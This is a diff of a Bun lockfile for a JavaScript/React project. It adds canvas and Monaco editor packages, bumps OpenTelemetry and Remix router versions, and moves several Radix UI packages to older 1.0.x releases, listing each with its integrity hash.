+ "@monaco-editor/react": ["@monaco-editor/react@4.7.0", "", { "dependencies": { "@monaco-editor/loader": "^1.5.0" }, "peerDependencies": { "monaco-editor": ">= 0.25.0 < 1", "react": "^16.8.0 || ^17.0.0 || ^18.0.0 || ^19.0.0", "react-dom": "^16.8.0 || ^17.0.0 || ^18.0.0 || ^19.0.0" } }, "sha512-cyzXQCtO47ydzxpQtCGSQGOC8Gk3ZUeBXFAxD+CWXYFo5OqZyZUonFl0DwUlTyAfRHntBfw2p3w4s9R6oe1eCA=="],
"@mongodb-js/saslprep": ["@mongodb-js/saslprep@1.3.1", "", { "dependencies": { "sparse-bitfield": "^3.0.3" } }, "sha512-6nZrq5kfAz0POWyhljnbWQQJQ5uT8oE2ddX303q1uY0tWsivWKgBDXBBvuFPwOqRRalXJuVO9EjOdVtuhLX0zg=="],
+ "@napi-rs/canvas": ["@napi-rs/canvas@0.1.96", "", { "optionalDependencies": { "@napi-rs/canvas-android-arm64": "0.1.96", "@napi-rs/canvas-darwin-arm64": "0.1.96", "@napi-rs/canvas-darwin-x64": "0.1.96", "@napi-rs/canvas-linux-arm-gnueabihf": "0.1.96", "@napi-rs/canvas-linux-arm64-gnu": "0.1.96", "@napi-rs/canvas-linux-arm64-musl": "0.1.96", "@napi-rs/canvas-linux-riscv64-gnu": "0.1.96", "@napi-rs/canvas-linux-x64-gnu": "0.1.96", "@napi-rs/canvas-linux-x64-musl": "0.1.96", "@napi-rs/canvas-win32-arm64-msvc": "0.1.96", "@napi-rs/canvas-win32-x64-msvc": "0.1.96" } }, "sha512-6NNmNxvoJKeucVjxaaRUt3La2i5jShgiAbaY3G/72s1Vp3U06XPrAIxkAjBxpDcamEn/t+WJ4OOlGmvILo4/Ew=="],
+
+ "@napi-rs/canvas-android-arm64": ["@napi-rs/canvas-android-arm64@0.1.96", "", { "os": "android", "cpu": "arm64" }, "sha512-ew1sPrN3dGdZ3L4FoohPfnjq0f9/Jk7o+wP7HkQZokcXgIUD6FIyICEWGhMYzv53j63wUcPvZeAwgewX58/egg=="],
+
+ "@napi-rs/canvas-darwin-arm64": ["@napi-rs/canvas-darwin-arm64@0.1.96", "", { "os": "darwin", "cpu": "arm64" }, "sha512-Q/wOXZ5PzTqpdmA5eUOcegCf4Go/zz3aZ5DlzSeDpOjFmfwMKh8EzLAoweQ+mJVagcHQyzoJhaTEnrO68TNyNg=="],
+
+ "@napi-rs/canvas-darwin-x64": ["@napi-rs/canvas-darwin-x64@0.1.96", "", { "os": "darwin", "cpu": "x64" }, "sha512-UrXiQz28tQEvGM1qvyptewOAfmUrrd5+wvi6Rzjj2VprZI8iZ2KIvBD2lTTG1bVF95AbeDeG7PJA0D9sLKaOFA=="],
+
+ "@napi-rs/canvas-linux-arm-gnueabihf": ["@napi-rs/canvas-linux-arm-gnueabihf@0.1.96", "", { "os": "linux", "cpu": "arm" }, "sha512-I90ODxweD8aEP6XKU/NU+biso95MwCtQ2F46dUvhec1HesFi0tq/tAJkYic/1aBSiO/1kGKmSeD1B0duOHhEHQ=="],
+
+ "@napi-rs/canvas-linux-arm64-gnu": ["@napi-rs/canvas-linux-arm64-gnu@0.1.96", "", { "os": "linux", "cpu": "arm64" }, "sha512-Dx/0+RFV++w3PcRy+4xNXkghhXjA5d0Mw1bs95emn5Llinp1vihMaA6WJt3oYv2LAHc36+gnrhIBsPhUyI2SGw=="],
+
+ "@napi-rs/canvas-linux-arm64-musl": ["@napi-rs/canvas-linux-arm64-musl@0.1.96", "", { "os": "linux", "cpu": "arm64" }, "sha512-UvOi7fii3IE2KDfEfhh8m+LpzSRvhGK7o1eho99M2M0HTik11k3GX+2qgVx9EtujN3/bhFFS1kSO3+vPMaJ0Mg=="],
+
+ "@napi-rs/canvas-linux-riscv64-gnu": ["@napi-rs/canvas-linux-riscv64-gnu@0.1.96", "", { "os": "linux", "cpu": "none" }, "sha512-MBSukhGCQ5nRtf9NbFYWOU080yqkZU1PbuH4o1ROvB4CbPl12fchDR35tU83Wz8gWIM9JTn99lBn9DenPIv7Ig=="],
+
+ "@napi-rs/canvas-linux-x64-gnu": ["@napi-rs/canvas-linux-x64-gnu@0.1.96", "", { "os": "linux", "cpu": "x64" }, "sha512-I/ccu2SstyKiV3HIeVzyBIWfrJo8cN7+MSQZPnabewWV6hfJ2nY7Df2WqOHmobBRUw84uGR6zfQHsUEio/m5Vg=="],
+
+ "@napi-rs/canvas-linux-x64-musl": ["@napi-rs/canvas-linux-x64-musl@0.1.96", "", { "os": "linux", "cpu": "x64" }, "sha512-H3uov7qnTl73GDT4h52lAqpJPsl1tIUyNPWJyhQ6gHakohNqqRq3uf80+NEpzcytKGEOENP1wX3yGwZxhjiWEQ=="],
+
+ "@napi-rs/canvas-win32-arm64-msvc": ["@napi-rs/canvas-win32-arm64-msvc@0.1.96", "", { "os": "win32", "cpu": "arm64" }, "sha512-ATp6Y+djOjYtkfV/VRH7CZ8I1MEtkUQBmKUbuWw5zWEHHqfL0cEcInE4Cxgx7zkNAhEdBbnH8HMVrqNp+/gwxA=="],
+
+ "@napi-rs/canvas-win32-x64-msvc": ["@napi-rs/canvas-win32-x64-msvc@0.1.96", "", { "os": "win32", "cpu": "x64" }, "sha512-UYGdTltVd+Z8mcIuoqGmAXXUvwH5CLf2M6mIB5B0/JmX5J041jETjqtSYl7gN+aj3k1by/SG6sS0hAwCqyK7zw=="],
+
"@napi-rs/wasm-runtime": ["@napi-rs/wasm-runtime@0.2.12", "", { "dependencies": { "@emnapi/core": "^1.4.3", "@emnapi/runtime": "^1.4.3", "@tybys/wasm-util": "^0.10.0" } }, "sha512-ZVWUcfwY4E/yPitQJl481FjFo3K22D6qF0DuFH6Y/nbnE11GY5uguDxZMGXPQ8WQ0128MXQD7TnfHyK4oWoIJQ=="],
"@noble/hashes": ["@noble/hashes@1.8.0", "", {}, "sha512-jCs9ldd7NwzpgXDIf6P3+NrHh9/sD6CQdxHyjQI+h/6rDNo88ypBxxz45UDuZHz9r3tNz7N/VInSVoVdtXEI4A=="],
@@ -1479,11 +1589,11 @@
"@opentelemetry/instrumentation": ["@opentelemetry/instrumentation@0.207.0", "", { "dependencies": { "@opentelemetry/api-logs": "0.207.0", "import-in-the-middle": "^2.0.0", "require-in-the-middle": "^8.0.0" }, "peerDependencies": { "@opentelemetry/api": "^1.3.0" } }, "sha512-y6eeli9+TLKnznrR8AZlQMSJT7wILpXH+6EYq5Vf/4Ao+huI7EedxQHwRgVUOMLFbe7VFDvHJrX9/f4lcwnJsA=="],
- "@opentelemetry/otlp-exporter-base": ["@opentelemetry/otlp-exporter-base@0.207.0", "", { "dependencies": { "@opentelemetry/core": "2.2.0", "@opentelemetry/otlp-transformer": "0.207.0" }, "peerDependencies": { "@opentelemetry/api": "^1.3.0" } }, "sha512-4RQluMVVGMrHok/3SVeSJ6EnRNkA2MINcX88sh+d/7DjGUrewW/WT88IsMEci0wUM+5ykTpPPNbEOoW+jwHnbw=="],
+ "@opentelemetry/otlp-exporter-base": ["@opentelemetry/otlp-exporter-base@0.208.0", "", { "dependencies": { "@opentelemetry/core": "2.2.0", "@opentelemetry/otlp-transformer": "0.208.0" }, "peerDependencies": { "@opentelemetry/api": "^1.3.0" } }, "sha512-gMd39gIfVb2OgxldxUtOwGJYSH8P1kVFFlJLuut32L6KgUC4gl1dMhn+YC2mGn0bDOiQYSk/uHOdSjuKp58vvA=="],
"@opentelemetry/otlp-grpc-exporter-base": ["@opentelemetry/otlp-grpc-exporter-base@0.207.0", "", { "dependencies": { "@grpc/grpc-js": "^1.7.1", "@opentelemetry/core": "2.2.0", "@opentelemetry/otlp-exporter-base": "0.207.0", "@opentelemetry/otlp-transformer": "0.207.0" }, "peerDependencies": { "@opentelemetry/api": "^1.3.0" } }, "sha512-eKFjKNdsPed4q9yYqeI5gBTLjXxDM/8jwhiC0icw3zKxHVGBySoDsed5J5q/PGY/3quzenTr3FiTxA3NiNT+nw=="],
- "@opentelemetry/otlp-transformer": ["@opentelemetry/otlp-transformer@0.207.0", "", { "dependencies": { "@opentelemetry/api-logs": "0.207.0", "@opentelemetry/core": "2.2.0", "@opentelemetry/resources": "2.2.0", "@opentelemetry/sdk-logs": "0.207.0", "@opentelemetry/sdk-metrics": "2.2.0", "@opentelemetry/sdk-trace-base": "2.2.0", "protobufjs": "^7.3.0" }, "peerDependencies": { "@opentelemetry/api": "^1.3.0" } }, "sha512-+6DRZLqM02uTIY5GASMZWUwr52sLfNiEe20+OEaZKhztCs3+2LxoTjb6JxFRd9q1qNqckXKYlUKjbH/AhG8/ZA=="],
+ "@opentelemetry/otlp-transformer": ["@opentelemetry/otlp-transformer@0.208.0", "", { "dependencies": { "@opentelemetry/api-logs": "0.208.0", "@opentelemetry/core": "2.2.0", "@opentelemetry/resources": "2.2.0", "@opentelemetry/sdk-logs": "0.208.0", "@opentelemetry/sdk-metrics": "2.2.0", "@opentelemetry/sdk-trace-base": "2.2.0", "protobufjs": "^7.3.0" }, "peerDependencies": { "@opentelemetry/api": "^1.3.0" } }, "sha512-DCFPY8C6lAQHUNkzcNT9R+qYExvsk6C5Bto2pbNxgicpcSWbe2WHShLxkOxIdNcBiYPdVHv/e7vH7K6TI+C+fQ=="],
"@opentelemetry/propagator-b3": ["@opentelemetry/propagator-b3@2.2.0", "", { "dependencies": { "@opentelemetry/core": "2.2.0" }, "peerDependencies": { "@opentelemetry/api": ">=1.0.0 <1.10.0" } }, "sha512-9CrbTLFi5Ee4uepxg2qlpQIozoJuoAZU5sKMx0Mn7Oh+p7UrgCiEV6C02FOxxdYVRRFQVCinYR8Kf6eMSQsIsw=="],
@@ -1547,7 +1657,7 @@
"@radix-ui/react-accordion": ["@radix-ui/react-accordion@1.2.11", "", { "dependencies": { "@radix-ui/primitive": "1.1.2", "@radix-ui/react-collapsible": "1.1.11", "@radix-ui/react-collection": "1.1.7", "@radix-ui/react-compose-refs": "1.1.2", "@radix-ui/react-context": "1.1.2", "@radix-ui/react-direction": "1.1.1", "@radix-ui/react-id": "1.1.1", "@radix-ui/react-primitive": "2.1.3", "@radix-ui/react-use-controllable-state": "1.2.2" }, "peerDependencies": { "@types/react": "*", "@types/react-dom": "*", "react": "^16.8 || ^17.0 || ^18.0 || ^19.0 || ^19.0.0-rc", "react-dom": "^16.8 || ^17.0 || ^18.0 || ^19.0 || ^19.0.0-rc" } }, "sha512-l3W5D54emV2ues7jjeG1xcyN7S3jnK3zE2zHqgn0CmMsy9lNJwmgcrmaxS+7ipw15FAivzKNzH3d5EcGoFKw0A=="],
- "@radix-ui/react-alert-dialog": ["@radix-ui/react-alert-dialog@1.1.15", "", { "dependencies": { "@radix-ui/primitive": "1.1.3", "@radix-ui/react-compose-refs": "1.1.2", "@radix-ui/react-context": "1.1.2", "@radix-ui/react-dialog": "1.1.15", "@radix-ui/react-primitive": "2.1.3", "@radix-ui/react-slot": "1.2.3" }, "peerDependencies": { "@types/react": "*", "@types/react-dom": "*", "react": "^16.8 || ^17.0 || ^18.0 || ^19.0 || ^19.0.0-rc", "react-dom": "^16.8 || ^17.0 || ^18.0 || ^19.0 || ^19.0.0-rc" }, "optionalPeers": ["@types/react", "@types/react-dom"] }, "sha512-oTVLkEw5GpdRe29BqJ0LSDFWI3qu0vR1M0mUkOQWDIUnY/QIkLpgDMWuKxP94c2NAC2LGcgVhG1ImF3jkZ5wXw=="],
+ "@radix-ui/react-alert-dialog": ["@radix-ui/react-alert-dialog@1.0.2", "", { "dependencies": { "@babel/runtime": "^7.13.10", "@radix-ui/primitive": "1.0.0", "@radix-ui/react-compose-refs": "1.0.0", "@radix-ui/react-context": "1.0.0", "@radix-ui/react-dialog": "1.0.2", "@radix-ui/react-primitive": "1.0.1", "@radix-ui/react-slot": "1.0.1" }, "peerDependencies": { "react": "^16.8 || ^17.0 || ^18.0", "react-dom": "^16.8 || ^17.0 || ^18.0" } }, "sha512-0MtxV53FaEEBOKRgyLnEqHZKKDS5BldQ9oUBsKVXWI5FHbl2jp35qs+0aJET+K5hJDsc40kQUzP7g+wC7tqrqA=="],
"@radix-ui/react-arrow": ["@radix-ui/react-arrow@1.0.3", "", { "dependencies": { "@babel/runtime": "^7.13.10", "@radix-ui/react-primitive": "1.0.3" }, "peerDependencies": { "@types/react": "*", "@types/react-dom": "*", "react": "^16.8 || ^17.0 || ^18.0", "react-dom": "^16.8 || ^17.0 || ^18.0" } }, "sha512-wSP+pHsB/jQRaL6voubsQ/ZlrGBHHrOjmBnr19hxYgtS0WvAFwZhK2WP/YY5yF9uKECCEEDGxuLxq1NBK51wFA=="],
@@ -1561,17 +1671,17 @@
"@radix-ui/react-context": ["@radix-ui/react-context@1.1.2", "", { "peerDependencies": { "@types/react": "*", "react": "^16.8 || ^17.0 || ^18.0 || ^19.0 || ^19.0.0-rc" } }, "sha512-jCi/QKUM2r1Ju5a3J64TH2A5SpKAgh0LpknyqdQ4m6DCV0xJ2HG1xARRwNGPQfi1SLdLWZ1OJz6F4OMBBNiGJA=="],
- "@radix-ui/react-dialog": ["@radix-ui/react-dialog@1.1.15", "", { "dependencies": { "@radix-ui/primitive": "1.1.3", "@radix-ui/react-compose-refs": "1.1.2", "@radix-ui/react-context": "1.1.2", "@radix-ui/react-dismissable-layer": "1.1.11", "@radix-ui/react-focus-guards": "1.1.3", "@radix-ui/react-focus-scope": "1.1.7", "@radix-ui/react-id": "1.1.1", "@radix-ui/react-portal": "1.1.9", "@radix-ui/react-presence": "1.1.5", "@radix-ui/react-primitive": "2.1.3", "@radix-ui/react-slot": "1.2.3", "@radix-ui/react-use-controllable-state": "1.2.2", "aria-hidden": "^1.2.4", "react-remove-scroll": "^2.6.3" }, "peerDependencies": { "@types/react": "*", "@types/react-dom": "*", "react": "^16.8 || ^17.0 || ^18.0 || ^19.0 || ^19.0.0-rc", "react-dom": "^16.8 || ^17.0 || ^18.0 || ^19.0 || ^19.0.0-rc" }, "optionalPeers": ["@types/react", "@types/react-dom"] }, "sha512-TCglVRtzlffRNxRMEyR36DGBLJpeusFcgMVD9PZEzAKnUs1lKCgX5u9BmC2Yg+LL9MgZDugFFs1Vl+Jp4t/PGw=="],
+ "@radix-ui/react-dialog": ["@radix-ui/react-dialog@1.0.2", "", { "dependencies": { "@babel/runtime": "^7.13.10", "@radix-ui/primitive": "1.0.0", "@radix-ui/react-compose-refs": "1.0.0", "@radix-ui/react-context": "1.0.0", "@radix-ui/react-dismissable-layer": "1.0.2", "@radix-ui/react-focus-guards": "1.0.0", "@radix-ui/react-focus-scope": "1.0.1", "@radix-ui/react-id": "1.0.0", "@radix-ui/react-portal": "1.0.1", "@radix-ui/react-presence": "1.0.0", "@radix-ui/react-primitive": "1.0.1", "@radix-ui/react-slot": "1.0.1", "@radix-ui/react-use-controllable-state": "1.0.0", "aria-hidden": "^1.1.1", "react-remove-scroll": "2.5.5" }, "peerDependencies": { "react": "^16.8 || ^17.0 || ^18.0", "react-dom": "^16.8 || ^17.0 || ^18.0" } }, "sha512-EKxxp2WNSmUPkx4trtWNmZ4/vAYEg7JkAfa1HKBUnaubw9eHzf1Orr9B472lJYaYz327RHDrd4R95fsw7VR8DA=="],
"@radix-ui/react-direction": ["@radix-ui/react-direction@1.1.1", "", { "peerDependencies": { "@types/react": "*", "react": "^16.8 || ^17.0 || ^18.0 || ^19.0 || ^19.0.0-rc" } }, "sha512-1UEWRX6jnOA2y4H5WczZ44gOOjTEmlqv1uNW4GAJEO5+bauCBhv8snY65Iw5/VOS/ghKN9gr2KjnLKxrsvoMVw=="],
- "@radix-ui/react-dismissable-layer": ["@radix-ui/react-dismissable-layer@1.1.11", "", { "dependencies": { "@radix-ui/primitive": "1.1.3", "@radix-ui/react-compose-refs": "1.1.2", "@radix-ui/react-primitive": "2.1.3", "@radix-ui/react-use-callback-ref": "1.1.1", "@radix-ui/react-use-escape-keydown": "1.1.1" }, "peerDependencies": { "@types/react": "*", "@types/react-dom": "*", "react": "^16.8 || ^17.0 || ^18.0 || ^19.0 || ^19.0.0-rc", "react-dom": "^16.8 || ^17.0 || ^18.0 || ^19.0 || ^19.0.0-rc" }, "optionalPeers": ["@types/react", "@types/react-dom"] }, "sha512-Nqcp+t5cTB8BinFkZgXiMJniQH0PsUt2k51FUhbdfeKvc4ACcG2uQniY/8+h1Yv6Kza4Q7lD7PQV0z0oicE0Mg=="],
+ "@radix-ui/react-dismissable-layer": ["@radix-ui/react-dismissable-layer@1.0.2", "", { "dependencies": { "@babel/runtime": "^7.13.10", "@radix-ui/primitive": "1.0.0", "@radix-ui/react-compose-refs": "1.0.0", "@radix-ui/react-primitive": "1.0.1", "@radix-ui/react-use-callback-ref": "1.0.0", "@radix-ui/react-use-escape-keydown": "1.0.2" }, "peerDependencies": { "react": "^16.8 || ^17.0 || ^18.0", "react-dom": "^16.8 || ^17.0 || ^18.0" } }, "sha512-WjJzMrTWROozDqLB0uRWYvj4UuXsM/2L19EmQ3Au+IJWqwvwq9Bwd+P8ivo0Deg9JDPArR1I6MbWNi1CmXsskg=="],
"@radix-ui/react-dropdown-menu": ["@radix-ui/react-dropdown-menu@2.1.1", "", { "dependencies": { "@radix-ui/primitive": "1.1.0", "@radix-ui/react-compose-refs": "1.1.0", "@radix-ui/react-context": "1.1.0", "@radix-ui/react-id": "1.1.0", "@radix-ui/react-menu": "2.1.1", "@radix-ui/react-primitive": "2.0.0", "@radix-ui/react-use-controllable-state": "1.1.0" }, "peerDependencies": { "@types/react": "*", "@types/react-dom": "*", "react": "^16.8 || ^17.0 || ^18.0 || ^19.0 || ^19.0.0-rc", "react-dom": "^16.8 || ^17.0 || ^18.0 || ^19.0 || ^19.0.0-rc" } }, "sha512-y8E+x9fBq9qvteD2Zwa4397pUVhYsh9iq44b5RD5qu1GMJWBCBuVg1hMyItbc6+zH00TxGRqd9Iot4wzf3OoBQ=="],
- "@radix-ui/react-focus-guards": ["@radix-ui/react-focus-guards@1.1.3", "", { "peerDependencies": { "@types/react": "*", "react": "^16.8 || ^17.0 || ^18.0 || ^19.0 || ^19.0.0-rc" }, "optionalPeers": ["@types/react"] }, "sha512-0rFg/Rj2Q62NCm62jZw0QX7a3sz6QCQU0LpZdNrJX8byRGaGVTqbrW9jAoIAHyMQqsNpeZ81YgSizOt5WXq0Pw=="],
+ "@radix-ui/react-focus-guards": ["@radix-ui/react-focus-guards@1.0.0", "", { "dependencies": { "@babel/runtime": "^7.13.10" }, "peerDependencies": { "react": "^16.8 || ^17.0 || ^18.0" } }, "sha512-UagjDk4ijOAnGu4WMUPj9ahi7/zJJqNZ9ZAiGPp7waUWJO0O1aWXi/udPphI0IUjvrhBsZJGSN66dR2dsueLWQ=="],
- "@radix-ui/react-focus-scope": ["@radix-ui/react-focus-scope@1.1.7", "", { "dependencies": { "@radix-ui/react-compose-refs": "1.1.2", "@radix-ui/react-primitive": "2.1.3", "@radix-ui/react-use-callback-ref": "1.1.1" }, "peerDependencies": { "@types/react": "*", "@types/react-dom": "*", "react": "^16.8 || ^17.0 || ^18.0 || ^19.0 || ^19.0.0-rc", "react-dom": "^16.8 || ^17.0 || ^18.0 || ^19.0 || ^19.0.0-rc" } }, "sha512-t2ODlkXBQyn7jkl6TNaw/MtVEVvIGelJDCG41Okq/KwUsJBwQ4XVZsHAVUkK4mBv3ewiAS3PGuUWuY2BoK4ZUw=="],
+ "@radix-ui/react-focus-scope": ["@radix-ui/react-focus-scope@1.0.1", "", { "dependencies": { "@babel/runtime": "^7.13.10", "@radix-ui/react-compose-refs": "1.0.0", "@radix-ui/react-primitive": "1.0.1", "@radix-ui/react-use-callback-ref": "1.0.0" }, "peerDependencies": { "react": "^16.8 || ^17.0 || ^18.0", "react-dom": "^16.8 || ^17.0 || ^18.0" } }, "sha512-Ej2MQTit8IWJiS2uuujGUmxXjF/y5xZptIIQnyd2JHLwtV0R2j9NRVoRj/1j/gJ7e3REdaBw4Hjf4a1ImhkZcQ=="],
"@radix-ui/react-hover-card": ["@radix-ui/react-hover-card@1.0.7", "", { "dependencies": { "@babel/runtime": "^7.13.10", "@radix-ui/primitive": "1.0.1", "@radix-ui/react-compose-refs": "1.0.1", "@radix-ui/react-context": "1.0.1", "@radix-ui/react-dismissable-layer": "1.0.5", "@radix-ui/react-popper": "1.1.3", "@radix-ui/react-portal": "1.0.4", "@radix-ui/react-presence": "1.0.1", "@radix-ui/react-primitive": "1.0.3", "@radix-ui/react-use-controllable-state": "1.0.1" }, "peerDependencies": { "@types/react": "*", "@types/react-dom": "*", "react": "^16.8 || ^17.0 || ^18.0", "react-dom": "^16.8 || ^17.0 || ^18.0" } }, "sha512-OcUN2FU0YpmajD/qkph3XzMcK/NmSk9hGWnjV68p6QiZMgILugusgQwnLSDs3oFSJYGKf3Y49zgFedhGh04k9A=="],
@@ -1587,7 +1697,7 @@
"@radix-ui/react-popper": ["@radix-ui/react-popper@1.1.3", "", { "dependencies": { "@babel/runtime": "^7.13.10", "@floating-ui/react-dom": "^2.0.0", "@radix-ui/react-arrow": "1.0.3", "@radix-ui/react-compose-refs": "1.0.1", "@radix-ui/react-context": "1.0.1", "@radix-ui/react-primitive": "1.0.3", "@radix-ui/react-use-callback-ref": "1.0.1", "@radix-ui/react-use-layout-effect": "1.0.1", "@radix-ui/react-use-rect": "1.0.1", "@radix-ui/react-use-size": "1.0.1", "@radix-ui/rect": "1.0.1" }, "peerDependencies": { "@types/react": "*", "@types/react-dom": "*", "react": "^16.8 || ^17.0 || ^18.0", "react-dom": "^16.8 || ^17.0 || ^18.0" } }, "sha512-cKpopj/5RHZWjrbF2846jBNacjQVwkP068DfmgrNJXpvVWrOvlAmE9xSiy5OqeE+Gi8D9fP+oDhUnPqNMY8/5w=="],
- "@radix-ui/react-portal": ["@radix-ui/react-portal@1.1.9", "", { "dependencies": { "@radix-ui/react-primitive": "2.1.3", "@radix-ui/react-use-layout-effect": "1.1.1" }, "peerDependencies": { "@types/react": "*", "@types/react-dom": "*", "react": "^16.8 || ^17.0 || ^18.0 || ^19.0 || ^19.0.0-rc", "react-dom": "^16.8 || ^17.0 || ^18.0 || ^19.0 || ^19.0.0-rc" } }, "sha512-bpIxvq03if6UNwXZ+HTK71JLh4APvnXntDc6XOX8UVq4XQOVl7lwok0AvIl+b8zgCw3fSaVTZMpAPPagXbKmHQ=="],
+ "@radix-ui/react-portal": ["@radix-ui/react-portal@1.0.1", "", { "dependencies": { "@babel/runtime": "^7.13.10", "@radix-ui/react-primitive": "1.0.1" }, "peerDependencies": { "react": "^16.8 || ^17.0 || ^18.0", "react-dom": "^16.8 || ^17.0 || ^18.0" } }, "sha512-NY2vUWI5WENgAT1nfC6JS7RU5xRYBfjZVLq0HmgEN1Ezy3rk/UruMV4+Rd0F40PEaFC5SrLS1ixYvcYIQrb4Ig=="],
"@radix-ui/react-presence": ["@radix-ui/react-presence@1.0.1", "", { "dependencies": { "@babel/runtime": "^7.13.10", "@radix-ui/react-compose-refs": "1.0.1", "@radix-ui/react-use-layout-effect": "1.0.1" }, "peerDependencies": { "@types/react": "*", "@types/react-dom": "*", "react": "^16.8 || ^17.0 || ^18.0", "react-dom": "^16.8 || ^17.0 || ^18.0" } }, "sha512-UXLW4UAbIY5ZjcvzjfRFo5gxva8QirC9hF7wRE4U5gz+TP0DbRk+//qyuAQ1McDxBt1xNMBTaciFGvEmJvAZCg=="],
@@ -1619,7 +1729,7 @@
"@radix-ui/react-use-effect-event": ["@radix-ui/react-use-effect-event@0.0.2", "", { "dependencies": { "@radix-ui/react-use-layout-effect": "1.1.1" }, "peerDependencies": { "@types/react": "*", "react": "^16.8 || ^17.0 || ^18.0 || ^19.0 || ^19.0.0-rc" } }, "sha512-Qp8WbZOBe+blgpuUT+lw2xheLP8q0oatc9UpmiemEICxGvFLYmHm9QowVZGHtJlGbS6A6yJ3iViad/2cVjnOiA=="],
- "@radix-ui/react-use-escape-keydown": ["@radix-ui/react-use-escape-keydown@1.1.1", "", { "dependencies": { "@radix-ui/react-use-callback-ref": "1.1.1" }, "peerDependencies": { "@types/react": "*", "react": "^16.8 || ^17.0 || ^18.0 || ^19.0 || ^19.0.0-rc" } }, "sha512-Il0+boE7w/XebUHyBjroE+DbByORGR9KKmITzbR7MyQ4akpORYP/ZmbhAr0DG7RmmBqoOnZdy2QlvajJ2QA59g=="],
+ "@radix-ui/react-use-escape-keydown": ["@radix-ui/react-use-escape-keydown@1.0.2", "", { "dependencies": { "@babel/runtime": "^7.13.10", "@radix-ui/react-use-callback-ref": "1.0.0" }, "peerDependencies": { "react": "^16.8 || ^17.0 || ^18.0" } }, "sha512-DXGim3x74WgUv+iMNCF+cAo8xUHHeqvjx8zs7trKf+FkQKPQXLk2sX7Gx1ysH7Q76xCpZuxIJE7HLPxRE+Q+GA=="],
"@radix-ui/react-use-layout-effect": ["@radix-ui/react-use-layout-effect@1.1.1", "", { "peerDependencies": { "@types/react": "*", "react": "^16.8 || ^17.0 || ^18.0 || ^19.0 || ^19.0.0-rc" } }, "sha512-RbJRS4UWQFkzHTTwVymMTUv8EqYhOp8dOOviLj2ugtTiXRaRQS7GLGxZTLL1jWhMeoSCf5zmcZkqTl9IiYfXcQ=="],
@@ -1673,7 +1783,7 @@
"@redis/client": ["@redis/client@1.6.0", "", { "dependencies": { "cluster-key-slot": "1.1.2", "generic-pool": "3.9.0", "yallist": "4.0.0" } }, "sha512-aR0uffYI700OEEH4gYnitAnv3vzVGXCFvYfdpu/CJKvk4pHfLPEy/JSZyrpQ+15WhXe1yJRXLtfQ84s4mEXnPg=="],
- "@remix-run/router": ["@remix-run/router@1.15.0", "", {}, "sha512-HOil5aFtme37dVQTB6M34G95kPM3MMuqSmIRVCC52eKV+Y/tGSqw9P3rWhlAx6A+mz+MoX+XxsGsNJbaI5qCgQ=="],
+ "@remix-run/router": ["@remix-run/router@1.23.2", "", {}, "sha512-Ic6m2U/rMjTkhERIa/0ZtXJP17QUi2CbWE7cqx4J58M8aA3QTfW+2UlQ4psvTX9IO1RfNVhK3pcpdjej7L+t2w=="],
"@remote-dom/core": ["@remote-dom/core@1.9.0", "", { "dependencies": { "@remote-dom/polyfill": "^1.4.4", "htm": "^3.1.1" }, "peerDependencies": { "@preact/signals-core": "^1.3.0" } }, "sha512-h8OO2NRns2paXO/q5hkfXrwlZKq7oKj9XedGosi7J8OP3+aW7N2Gv4MBBVVQGCfOiZPkOj5m3sQH7FdyUWl7PQ=="],
@@ -1681,6 +1791,8 @@
"@remote-dom/react": ["@remote-dom/react@1.2.2", "", { "dependencies": { "@remote-dom/core": "^1.7.0", "@types/react": "^18.0.0", "htm": "^3.1.1" }, "peerDependencies": { "react": "^17.0.0 || ^18.0.0" } }, "sha512-PkvioODONTr1M0StGDYsR4Ssf5M0Rd4+IlWVvVoK3Zrw8nr7+5mJkgNofaj/z7i8Aep78L28PCW8/WduUt4unA=="],
+ "@rolldown/pluginutils": ["@rolldown/pluginutils@1.0.0-rc.3", "", {}, "sha512-eybk3TjzzzV97Dlj5c+XrBFW57eTNhzod66y9HrBlzJ6NsCrWCp/2kaPS3K9wJmurBC0Tdw4yPjXKZqlznim3Q=="],
+
"@rollup/plugin-alias": ["@rollup/plugin-alias@5.1.0", "", { "dependencies": { "slash": "^4.0.0" }, "peerDependencies": { "rollup": "^1.20.0||^2.0.0||^3.0.0||^4.0.0" } }, "sha512-lpA3RZ9PdIG7qqhEfv79tBffNaoDuukFDrmhLqg9ifv99u/ehn+lOg30x2zmhf8AQqQUZaMk/B9fZraQ6/acDQ=="],
"@rollup/plugin-babel": ["@rollup/plugin-babel@5.3.1", "", { "dependencies": { "@babel/helper-module-imports": "^7.10.4", "@rollup/pluginutils": "^3.1.0" }, "peerDependencies": { "@babel/core": "^7.0.0", "@types/babel__core": "^7.1.9", "rollup": "^1.20.0||^2.0.0" } }, "sha512-WFfdLWU/xVWKeRQnKmIAQULUI7Il0gZnBIH/ZFO069wYIfPu+8zrfp/KMW0atmELoRDq8FbiP3VCss9MhCut7Q=="],
@@ -1721,10 +1833,18 @@
"@rollup/rollup-linux-arm64-musl": ["@rollup/rollup-linux-arm64-musl@4.37.0", "", { "os": "linux", "cpu": "arm64" }, "sha512-pfxLBMls+28Ey2enpX3JvjEjaJMBX5XlPCZNGxj4kdJyHduPBXtxYeb8alo0a7bqOoWZW2uKynhHxF/MWoHaGQ=="],
+ "@rollup/rollup-linux-loong64-gnu": ["@rollup/rollup-linux-loong64-gnu@4.59.0", "", { "os": "linux", "cpu": "none" }, "sha512-gbUSW/97f7+r4gHy3Jlup8zDG190AuodsWnNiXErp9mT90iCy9NKKU0Xwx5k8VlRAIV2uU9CsMnEFg/xXaOfXg=="],
+
+ "@rollup/rollup-linux-loong64-musl": ["@rollup/rollup-linux-loong64-musl@4.59.0", "", { "os": "linux", "cpu": "none" }, "sha512-yTRONe79E+o0FWFijasoTjtzG9EBedFXJMl888NBEDCDV9I2wGbFFfJQQe63OijbFCUZqxpHz1GzpbtSFikJ4Q=="],
+
"@rollup/rollup-linux-loongarch64-gnu": ["@rollup/rollup-linux-loongarch64-gnu@4.37.0", "", { "os": "linux", "cpu": "none" }, "sha512-yCE0NnutTC/7IGUq/PUHmoeZbIwq3KRh02e9SfFh7Vmc1Z7atuJRYWhRME5fKgT8aS20mwi1RyChA23qSyRGpA=="],
"@rollup/rollup-linux-powerpc64le-gnu": ["@rollup/rollup-linux-powerpc64le-gnu@4.37.0", "", { "os": "linux", "cpu": "ppc64" }, "sha512-NxcICptHk06E2Lh3a4Pu+2PEdZ6ahNHuK7o6Np9zcWkrBMuv21j10SQDJW3C9Yf/A/P7cutWoC/DptNLVsZ0VQ=="],
